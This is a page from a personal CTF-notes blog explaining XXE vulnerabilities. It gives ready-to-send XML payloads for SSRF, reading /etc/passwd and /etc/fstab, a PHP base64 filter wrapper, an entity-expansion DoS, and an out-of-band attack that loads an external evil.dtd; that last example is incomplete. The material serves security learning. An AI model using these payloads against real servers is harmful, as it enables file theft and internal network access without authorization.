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<ol class="chapter"><li class="chapter-item affix "><a href="../../index.html">Andrew's Blog</a></li><li class="chapter-item "><a href="../../posts/linux/linux.html"><strong aria-hidden="true">1.</strong> linux</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/linux/install_linux.html"><strong aria-hidden="true">1.1.</strong> install linux</a></li><li class="chapter-item "><a href="../../posts/linux/bash_profile.html"><strong aria-hidden="true">1.2.</strong> bash profile</a></li><li class="chapter-item "><a href="../../posts/linux/command_list.html"><strong aria-hidden="true">1.3.</strong> command list</a></li><li class="chapter-item "><a href="../../posts/linux/git_guide.html"><strong aria-hidden="true">1.4.</strong> git guide</a></li><li class="chapter-item "><a href="../../posts/linux/tar.html"><strong aria-hidden="true">1.5.</strong> tar</a></li><li class="chapter-item "><a href="../../posts/linux/run_x86_elf_in_x64_setup.html"><strong aria-hidden="true">1.6.</strong> run x86 elf in x64 setup</a></li></ol></li><li class="chapter-item "><a href="../../posts/mac/mac.html"><strong aria-hidden="true">2.</strong> mac</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/mac/macos_profiles.html"><strong aria-hidden="true">2.1.</strong> macos profiles</a></li></ol></li><li class="chapter-item "><a href="../../posts/swift/swift.html"><strong aria-hidden="true">3.</strong> swift</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/swift/learn_swift.html"><strong aria-hidden="true">3.1.</strong> learn swift basics</a></li><li class="chapter-item "><a href="../../posts/swift/swift_extensions.html"><strong aria-hidden="true">3.2.</strong> Swift extensions</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_extension.html"><strong aria-hidden="true">3.3.</strong> SwiftUI extensions</a></li><li class="chapter-item "><a href="../../posts/swift/install_swift.html"><strong aria-hidden="true">3.4.</strong> install swift</a></li><li class="chapter-item "><a href="../../posts/swift/task_planner.html"><strong aria-hidden="true">3.5.</strong> implment task panner app with SwiftUI</a></li><li class="chapter-item "><a href="../../posts/swift/swift_cheat_sheet.html"><strong aria-hidden="true">3.6.</strong> Swift Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/swift/yinci_url.html"><strong aria-hidden="true">3.7.</strong> Personal privacy protocol</a></li><li class="chapter-item "><a href="../../posts/swift/swift_regular_exressions.html"><strong aria-hidden="true">3.8.</strong> Swift regular exressions</a></li><li class="chapter-item "><a href="../../posts/ios/how_to_create_beautiful_ios_charts_in_swift.html"><strong aria-hidden="true">3.9.</strong> How to Create Beautiful iOS Charts in鑱絊wift</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_source_code.html"><strong aria-hidden="true">3.10.</strong> SwiftUI source code</a></li><li class="chapter-item "><a href="../../posts/swift/use_swift_fetch_iciba_api.html"><strong aria-hidden="true">3.11.</strong> use swift fetch iciba API</a></li></ol></li><li class="chapter-item "><a href="../../posts/ios/ios.html"><strong aria-hidden="true">4.</strong> ios</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ios/cocaposd_setup_and_install_for_ios_project.html"><strong aria-hidden="true">4.1.</strong> cocaposd setup and install for ios project</a></li><li class="chapter-item "><a href="../../posts/ios/swiftui_show_gif_image.html"><strong aria-hidden="true">4.2.</strong> SwiftUI show gif image</a></li><li class="chapter-item "><a href="../../posts/ios/implement_task_planner_app.html"><strong aria-hidden="true">4.3.</strong> implement Task planner App</a></li></ol></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c.html"><strong aria-hidden="true">5.</strong> objective_c</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/objective_c/objective_c_cheat_sheet.html"><strong aria-hidden="true">5.1.</strong> Objective-C Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c_for_absolute_beginners_read_note.html"><strong aria-hidden="true">5.2.</strong> Objective-C Note</a></li></ol></li><li class="chapter-item "><a href="../../posts/dart/dart.html"><strong aria-hidden="true">6.</strong> dart</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/dart/flutter.html"><strong aria-hidden="true">6.1.</strong> Flutter Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/dart/dart_cheat_sheet.html"><strong aria-hidden="true">6.2.</strong> Dart Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/flutter/flutter_dev_test.html"><strong aria-hidden="true">6.3.</strong> Flutter dev test</a></li></ol></li><li class="chapter-item "><a href="../../posts/rust/rust.html"><strong aria-hidden="true">7.</strong> rust</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/rust/offline_use_rust.html"><strong aria-hidden="true">7.1.</strong> Offline use rust</a></li><li class="chapter-item "><a href="../../posts/rust/rust_grammer.html"><strong aria-hidden="true">7.2.</strong> rust grammar</a></li><li class="chapter-item "><a href="../../posts/rust/pase_string_and_decimal_conversion.html"><strong aria-hidden="true">7.3.</strong> pase string and decimal conversion</a></li><li class="chapter-item "><a href="../../posts/rust/parse_types.html"><strong aria-hidden="true">7.4.</strong> rust types</a></li><li class="chapter-item "><a href="../../posts/rust/rust_life_cycle.html"><strong aria-hidden="true">7.5.</strong> Rust life cycle</a></li><li class="chapter-item "><a href="../../posts/rust/rust_generic.html"><strong aria-hidden="true">7.6.</strong> rust generics</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implment_matrix.html"><strong aria-hidden="true">7.7.</strong> Rust implement matrix</a></li><li class="chapter-item "><a href="../../posts/rust/rust_sort.html"><strong aria-hidden="true">7.8.</strong> Rust implement sort algorithms</a></li><li class="chapter-item "><a href="../../posts/rust/implement_aes_encryption.html"><strong aria-hidden="true">7.9.</strong> Rust implement AEC encryption and decryption</a></li><li class="chapter-item "><a href="../../posts/rust/implement_trie_data_structure.html"><strong aria-hidden="true">7.10.</strong> implement trie data structure</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_tree.html"><strong aria-hidden="true">7.11.</strong> implement tree data_structure</a></li><li class="chapter-item "><a href="../../posts/rust/list_dir.html"><strong aria-hidden="true">7.12.</strong> list dir</a></li><li class="chapter-item "><a href="../../posts/rust/fast_way_to_implment_object_trait.html"><strong aria-hidden="true">7.13.</strong> fast way to implment object trait</a></li><li class="chapter-item "><a href="../../posts/rust/compress_rust_binary_size.html"><strong aria-hidden="true">7.14.</strong> compress rust binary size</a></li><li class="chapter-item "><a href="../../posts/rust/implment_file_upload_backend.html"><strong aria-hidden="true">7.15.</strong> impliment file upload</a></li><li class="chapter-item "><a href="../../posts/rust/this_is_add_post_cli_implementation_in_rust.html"><strong aria-hidden="true">7.16.</strong> this is add_post cli implementation in rust</a></li><li class="chapter-item "><a href="../../posts/rust/use_rust_implment_a_copyclipbord_cli.html"><strong aria-hidden="true">7.17.</strong> Use rust implment a copyclipbord CLI</a></li><li class="chapter-item "><a href="../../posts/rust/sqlite_database_add_delete_update_show_in_rust.html"><strong aria-hidden="true">7.18.</strong> sqlite database add delete update show in rust</a></li><li class="chapter-item "><a href="../../posts/rust/implementing_tokio_joinhandle_for_wasm.html"><strong aria-hidden="true">7.19.</strong> Implementing tokio JoinHandle for wasm</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_a_crate_for_encode_and_decode_brainfuck_and_ook.html"><strong aria-hidden="true">7.20.</strong> rust implement a crate for encode and decode brainfuck and ook</a></li><li class="chapter-item "><a href="../../posts/rust/slint_builtin_elements.html"><strong aria-hidden="true">7.21.</strong> Slint Builtin Elements</a></li><li class="chapter-item "><a href="../../posts/rust/corporate_network_install_rust_on_windows.html"><strong aria-hidden="true">7.22.</strong> Corporate network install Rust on windows</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_file_how_to_judge_static_link_or_dynamic_link_in_macos.html"><strong aria-hidden="true">7.23.</strong> rust binary file how to judge static link or dynamic link in Macos</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_include_dir_and_get_contents.html"><strong aria-hidden="true">7.24.</strong> rust binary include dir and get contents</a></li><li class="chapter-item "><a href="../../posts/rust/rust_logger_non-block.html"><strong aria-hidden="true">7.25.</strong> rust logger non-block</a></li><li class="chapter-item "><a href="../../posts/rust/rust_connect_sql_server_database.html"><strong aria-hidden="true">7.26.</strong> rust connect sql server database</a></li><li class="chapter-item "><a href="../../posts/rust/rust_websocket_implment.html"><strong aria-hidden="true">7.27.</strong> rust websocket implment</a></li></ol></li><li class="chapter-item "><a href="../../posts/java/java.html"><strong aria-hidden="true">8.</strong> java</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/java/java_grammar.html"><strong aria-hidden="true">8.1.</strong> java grammar and codewar</a></li><li class="chapter-item "><a href="../../posts/java/run_jar.html"><strong aria-hidden="true">8.2.</strong> java run .jar</a></li><li class="chapter-item "><a href="../../posts/java/java_pomxml_add_defaultgoal_to_build.html"><strong aria-hidden="true">8.3.</strong> Java pomxml add defaultGoal to build</a></li><li class="chapter-item "><a href="../../posts/java/java_set_mvn_mirror.html"><strong aria-hidden="true">8.4.</strong> Java set mvn mirror</a></li></ol></li><li class="chapter-item "><a href="../../posts/python/python.html"><strong aria-hidden="true">9.</strong> python</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/python/convert_pesn.html"><strong aria-hidden="true">9.1.</strong> convert pesn</a></li><li class="chapter-item "><a href="../../posts/python/find_remove_dir.html"><strong aria-hidden="true">9.2.</strong> find and remove dir</a></li><li class="chapter-item "><a href="../../posts/python/timing_message.html"><strong aria-hidden="true">9.3.</strong> wechat send message</a></li><li class="chapter-item "><a href="../../posts/python/use_python_openpyxl_package_read_and_edit_excel_files.html"><strong aria-hidden="true">9.4.</strong> Use python openpyxl package read and edit excel files</a></li></ol></li><li class="chapter-item "><a href="../../posts/go/go.html"><strong aria-hidden="true">10.</strong> go</a></li><li class="chapter-item "><a href="../../posts/js/js.html"><strong aria-hidden="true">11.</strong> js</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/js/js_tutorial.html"><strong aria-hidden="true">11.1.</strong> js tutorial</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_map.html"><strong aria-hidden="true">11.2.</strong> ja map</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_math.html"><strong aria-hidden="true">11.3.</strong> js math</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_object.html"><strong aria-hidden="true">11.4.</strong> js object</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_set.html"><strong aria-hidden="true">11.5.</strong> js set</a></li><li class="chapter-item "><a href="../../posts/js/single_thread_and_asynchronous.html"><strong aria-hidden="true">11.6.</strong> single thread and asynchronous</a></li><li class="chapter-item "><a href="../../posts/js/this.html"><strong aria-hidden="true">11.7.</strong> js this</a></li><li class="chapter-item "><a href="../../posts/js/js_implment_aes.html"><strong aria-hidden="true">11.8.</strong> js implment aes</a></li><li class="chapter-item "><a href="../../posts/js/getting_started_with_ajax.html"><strong aria-hidden="true">11.9.</strong> getting started with ajax</a></li><li class="chapter-item "><a href="../../posts/js/BinarySearchTree.html"><strong aria-hidden="true">11.10.</strong> binary search tree</a></li><li class="chapter-item "><a href="../../posts/js/goole_zx.html"><strong aria-hidden="true">11.11.</strong> goole zx</a></li><li class="chapter-item "><a href="../../posts/js/es6.html"><strong aria-hidden="true">11.12.</strong> es6</a></li></ol></li><li class="chapter-item "><a href="../../posts/ruby/ruby.html"><strong aria-hidden="true">12.</strong> ruby</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ruby/rails_setup_env.html"><strong aria-hidden="true">12.1.</strong> ruby on rails setup environment</a></li><li class="chapter-item "><a href="../../posts/ruby/learn_ruby.html"><strong aria-hidden="true">12.2.</strong> learn ruby</a></li><li class="chapter-item "><a href="../../posts/ruby/ruby_note.html"><strong aria-hidden="true">12.3.</strong> Ruby Note</a></li><li class="chapter-item "><a href="../../posts/ruby/setup_ruby_for_ctf.html"><strong aria-hidden="true">12.4.</strong> Setup ruby for CTF</a></li></ol></li><li class="chapter-item "><a href="../../posts/react/react.html"><strong aria-hidden="true">13.</strong> react</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/react/react_life_cycle.html"><strong aria-hidden="true">13.1.</strong> react life cycle</a></li><li class="chapter-item "><a href="../../posts/react/react_router.html"><strong aria-hidden="true">13.2.</strong> react router</a></li><li class="chapter-item "><a href="../../posts/react/react_this.html"><strong aria-hidden="true">13.3.</strong> react this</a></li><li class="chapter-item "><a href="../../posts/react/react_interviw.html"><strong aria-hidden="true">13.4.</strong> react interview</a></li><li class="chapter-item "><a href="../../posts/react/important_react_interview.html"><strong aria-hidden="true">13.5.</strong> important react interview</a></li><li class="chapter-item "><a href="../../posts/react/react_quick_reference.html"><strong aria-hidden="true">13.6.</strong> react quick reference</a></li><li class="chapter-item "><a href="../../posts/react/redux_quick_reference.html"><strong aria-hidden="true">13.7.</strong> redux quick reference</a></li></ol></li><li class="chapter-item "><a href="../../posts/vue/vue.html"><strong aria-hidden="true">14.</strong> vue</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/vue/vue_ajax.html"><strong aria-hidden="true">14.1.</strong> vue ajax</a></li></ol></li><li class="chapter-item "><a href="../../posts/angular/angular.html"><strong aria-hidden="true">15.</strong> angular</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/angular/controller_communication.html"><strong aria-hidden="true">15.1.</strong> controller communication</a></li><li class="chapter-item "><a href="../../posts/angular/creating_custom_directives.html"><strong aria-hidden="true">15.2.</strong> creating custom directives</a></li><li class="chapter-item "><a href="../../posts/angular/directive_notes.html"><strong aria-hidden="true">15.3.</strong> directive notes</a></li><li class="chapter-item "><a href="../../posts/angular/directive_communication.html"><strong aria-hidden="true">15.4.</strong> directive communication</a></li><li class="chapter-item "><a href="../../posts/angular/post_params.html"><strong aria-hidden="true">15.5.</strong> post params</a></li><li class="chapter-item "><a href="../../posts/angular/read_json_angular.html"><strong aria-hidden="true">15.6.</strong> read json angular</a></li><li class="chapter-item "><a href="../../posts/angular/same_route_reload.html"><strong aria-hidden="true">15.7.</strong> same route reload</a></li></ol></li><li class="chapter-item "><a href="../../posts/css/css.html"><strong aria-hidden="true">16.</strong> css</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/css/use_css_media.html"><strong aria-hidden="true">16.1.</strong> use css media</a></li></ol></li><li class="chapter-item "><a href="../../posts/php/php.html"><strong aria-hidden="true">17.</strong> php</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/php/for_php_string_implment_some_extemtion_functions.html"><strong aria-hidden="true">17.1.</strong> for php string implment some extemtion functions</a></li><li class="chapter-item "><a href="../../posts/php/php_cheatsheet.html"><strong aria-hidden="true">17.2.</strong> PHP cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/leetcode/leetcode.html"><strong aria-hidden="true">18.</strong> leetcode</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/leetcode/rust_leetcode.html"><strong aria-hidden="true">18.1.</strong> rust leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_codewar.html"><strong aria-hidden="true">18.2.</strong> rust codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/swift_codewar.html"><strong aria-hidden="true">18.3.</strong> swift codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/js_leetcode.html"><strong aria-hidden="true">18.4.</strong> js leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/java_leetcode.html"><strong aria-hidden="true">18.5.</strong> java leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_huawei.html"><strong aria-hidden="true">18.6.</strong> huawei test</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_utils.html"><strong aria-hidden="true">18.7.</strong> rust common functions</a></li><li class="chapter-item "><a href="../../posts/leetcode/olympiad_training.html"><strong aria-hidden="true">18.8.</strong> Computer olympiad training</a></li></ol></li><li class="chapter-item expanded "><a href="../../posts/ctf/CTF.html"><strong aria-hidden="true">19.</strong> ctf</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ctf/CTF_Note.html"><strong aria-hidden="true">19.1.</strong> CTF Note</a></li><li class="chapter-item "><a href="../../posts/ctf/0.1_Web.html"><strong aria-hidden="true">19.2.</strong> Web</a></li><li class="chapter-item "><a href="../../posts/ctf/4.1_Misc.html"><strong aria-hidden="true">19.3.</strong> Misc</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">19.4.</strong> PWN</a></li><li class="chapter-item "><a href="../../posts/ctf/3.1_Crypto.html"><strong aria-hidden="true">19.5.</strong> Crypto</a></li><li class="chapter-item "><a href="../../posts/ctf/3.4_RSA_note.html"><strong aria-hidden="true">19.6.</strong> Rsa attack</a></li><li class="chapter-item "><a href="../../posts/ctf/3.5_Base64.html"><strong aria-hidden="true">19.7.</strong> Base64</a></li><li class="chapter-item "><a href="../../posts/ctf/0.0_SQL Injection Cheatsheet.html"><strong aria-hidden="true">19.8.</strong> SQL Injection Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/ctf/1.1_SQL_injection.html"><strong aria-hidden="true">19.9.</strong> SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.2_SQL_injection_UNION_attacks.html"><strong aria-hidden="true">19.10.</strong> SQL Injection UNION attacks</a></li><li class="chapter-item "><a href="../../posts/ctf/1.3_Blind SQL injection.html"><strong aria-hidden="true">19.11.</strong> Blind SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.4_Code Injection.html"><strong aria-hidden="true">19.12.</strong> Code Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.5_SSRF.html"><strong aria-hidden="true">19.13.</strong> SSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.6_OS command injection.html"><strong aria-hidden="true">19.14.</strong> OS command injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.7_Local file inclusion.html"><strong aria-hidden="true">19.15.</strong> Local file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.8_Remote file inclusion.html"><strong aria-hidden="true">19.16.</strong> Remote file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.9_CSRFm.html"><strong aria-hidden="true">19.17.</strong> CSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.10_NoSQL injection.html"><strong aria-hidden="true">19.18.</strong> NoSQL injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.11_JSON injection.html"><strong aria-hidden="true">19.19.</strong> JSON injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.12_CTF_Web_SQL_Note.html"><strong aria-hidden="true">19.20.</strong> CTF Web SQL Note</a></li><li class="chapter-item expanded "><a href="../../posts/ctf/2.1_XXE.html" class="active"><strong aria-hidden="true">19.21.</strong> XXE</a></li><li class="chapter-item "><a href="../../posts/ctf/2.2_XSS.html"><strong aria-hidden="true">19.22.</strong> XSS</a></li><li class="chapter-item "><a href="../../posts/ctf/2.3_Upload File.html"><strong aria-hidden="true">19.23.</strong> Upload File</a></li><li class="chapter-item "><a href="../../posts/ctf/2.4_serialize_unserialize.html"><strong aria-hidden="true">19.24.</strong> serialize unserialize</a></li><li class="chapter-item "><a href="../../posts/ctf/2.5_Race condition.html"><strong aria-hidden="true">19.25.</strong> Race condition</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">19.26.</strong> PWN_note</a></li><li class="chapter-item "><a href="../../posts/ctf/3.3_pwn HCTF2016 brop.html"><strong aria-hidden="true">19.27.</strong> pwn HCTF2016 brop</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_patch_defense_skill.html"><strong aria-hidden="true">19.28.</strong> PWN Patch defense skill</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_stack_overflow.html"><strong aria-hidden="true">19.29.</strong> PWN stack overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_heap_overflow.html"><strong aria-hidden="true">19.30.</strong> PWN heap overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_format_string_vulnerability.html"><strong aria-hidden="true">19.31.</strong> PWN Format String Vulnerability</a></li><li class="chapter-item "><a href="../../posts/ctf/kali_linux_tutorials.html"><strong aria-hidden="true">19.32.</strong> Kali linux tutorials</a></li><li class="chapter-item "><a href="../../posts/ctf/google_dorks_2023_lists.html"><strong aria-hidden="true">19.33.</strong> Google Dorks 2023 Lists</a></li><li class="chapter-item "><a href="../../posts/ctf/dvwa_writeup.html"><strong aria-hidden="true">19.34.</strong> DVWA WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/bwapp_writeup.html"><strong aria-hidden="true">19.35.</strong> bWAPP WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/sqlilabs_writeup.html"><strong aria-hidden="true">19.36.</strong> sqlilabs WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/ctf_train_at_hangzhou.html"><strong aria-hidden="true">19.37.</strong> ctf train at hangzhou</a></li><li class="chapter-item "><a href="../../posts/ctf/ctf_common_mindmap_list.html"><strong aria-hidden="true">19.38.</strong> ctf common mindmap list</a></li><li class="chapter-item "><a href="../../posts/ctf/error_based_sql_injection.html"><strong aria-hidden="true">19.39.</strong> Error Based SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/urlfinder_tutorial.html"><strong aria-hidden="true">19.40.</strong> URLFinder Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/observer_ward_tutorial.html"><strong aria-hidden="true">19.41.</strong> observer_ward Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/mysql_udf_.html"><strong aria-hidden="true">19.42.</strong> MySQL UDF 提权</a></li><li class="chapter-item "><a href="../../posts/ctf/nuclei__tutorial.html"><strong aria-hidden="true">19.43.</strong> Nuclei Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/2024_ctf_solution_thinking.html"><strong aria-hidden="true">19.44.</strong> 2024 ctf solution thinking</a></li><li class="chapter-item "><a href="../../posts/ctf/man_che_si_te_bian_ma.html"><strong aria-hidden="true">19.45.</strong> 曼彻斯特编码</a></li></ol></li></ol>
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<h1 id="what-are-xxe-vulnerabilities"><a class="header" href="#what-are-xxe-vulnerabilities">What are XXE vulnerabilities?</a></h1>
|
||
<p>XML external entity (XXE) vulnerabilities (also called XML external entity injections or XXE injections) happen if a web application or API accepts unsanitized XML data and its back-end XML parser is configured to allow external XML entity parsing. XXE vulnerabilities can let malicious hackers perform attacks such as server-side request forgery (SSRF), local file inclusion (LFI), directory traversal, remote code execution (RCE), network port scanning, and denial of service (DoS).</p>
|
||
<h2 id="example-of-xxe-based-ssrf"><a class="header" href="#example-of-xxe-based-ssrf">Example of XXE-based SSRF</a></h2>
|
||
<pre><code class="language-xml">POST http://example.com/xml HTTP/1.1
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<!DOCTYPE foo [
|
||
<!ELEMENT foo ANY>
|
||
<!ENTITY xxe SYSTEM
|
||
"http://192.168.0.1/secret.txt">
|
||
]>
|
||
<foo>
|
||
&xxe;
|
||
</foo>
|
||
</code></pre>
|
||
<h2 id="example-of-xxe-local-data-exfiltration"><a class="header" href="#example-of-xxe-local-data-exfiltration">Example of XXE local data exfiltration</a></h2>
|
||
<pre><code class="language-xml">POST http://example.com/xml HTTP/1.1
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<!DOCTYPE foo [
|
||
<!ELEMENT foo ANY>
|
||
<!ENTITY xxe SYSTEM
|
||
"file:///etc/passwd">
|
||
]>
|
||
<foo>
|
||
&xxe;
|
||
</foo>
|
||
</code></pre>
|
||
<h2 id="limitations-and-workarounds-for-exfiltrating-xml-data"><a class="header" href="#limitations-and-workarounds-for-exfiltrating-xml-data">Limitations and workarounds for exfiltrating XML data</a></h2>
|
||
<pre><code class="language-xml">POST http://example.com/xml HTTP/1.1
|
||
<!DOCTYPE foo [
|
||
<!ELEMENT foo ANY>
|
||
<!ENTITY bar SYSTEM
|
||
"file:///etc/fstab"&gt;
|
||
]>
|
||
<foo>
|
||
&bar;
|
||
</foo>
|
||
</code></pre>
|
||
<h2 id="using-php-protocol-wrappers"><a class="header" href="#using-php-protocol-wrappers">Using PHP protocol wrappers</a></h2>
|
||
<pre><code class="language-xml">POST http://example.com/xml.php HTTP/1.1
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<!DOCTYPE foo [
|
||
<!ELEMENT foo ANY>
|
||
<!ENTITY bar SYSTEM
|
||
"php://filter/read=convert.base64-encode/resource=/etc/fstab">
|
||
]>
|
||
<foo>
|
||
&bar;
|
||
</foo>
|
||
</code></pre>
|
||
<h2 id="example-of-an-xxe-dos-attack"><a class="header" href="#example-of-an-xxe-dos-attack">Example of an XXE DoS attack</a></h2>
|
||
<pre><code class="language-xml">POST http://example.com/xml HTTP/1.1
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<!DOCTYPE foo [
|
||
<!ELEMENT foo ANY>
|
||
<!ENTITY bar "World ">
|
||
<!ENTITY t1 "&bar;&bar;">
|
||
<!ENTITY t2 "&t1;&t1;&t1;&t1;">
|
||
<!ENTITY t3 "&t2;&t2;&t2;&t2;&t2;">
|
||
]>
|
||
<foo>
|
||
Hello &t3;
|
||
</foo>
|
||
</code></pre>
|
||
<h1 id="what-is-oob-xxe"><a class="header" href="#what-is-oob-xxe">What is OOB XXE?</a></h1>
|
||
<p>Out-of-band XML external entity (OOB XXE) vulnerabilities are a type of XXE vulnerability where the attacker does not receive an immediate response to the XXE payload. The attack is conducted using one channel, such as a direct HTTP request, while the results (such as sensitive files) are received through another channel – often an HTTP server controlled by the attacker.</p>
|
||
<h2 id="example-of-oob-xxe"><a class="header" href="#example-of-oob-xxe">Example of OOB XXE</a></h2>
|
||
<p>evil.dtd</p>
|
||
<pre><code class="language-xml"><!ENTITY evil SYSTEM "file:///etc/hosts">
|
||
</code></pre>
|
||
<pre><code class="language-xml"><?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<!DOCTYPE root [
|
||
<!ENTITY file SYSTEM
|
||
"file:///etc/hosts">
|
||
<!ENTITY % dtd SYSTEM
|
||
"http://192.168.9.52:8787/ctf_train/php/evil.dtd">
|
||
<!ENTITY bar SYSTEM
|
||
"php://filter/read=convert.base64-encode/resource=/etc/fstab">
|
||
%dtd;
|
||
%all;
|
||
]>
|
||
<root>
|
||
<user>
|
||
&file;
|
||
&fileContents;
|
||
<user>
|
||
</root>
|
||
</code></pre>
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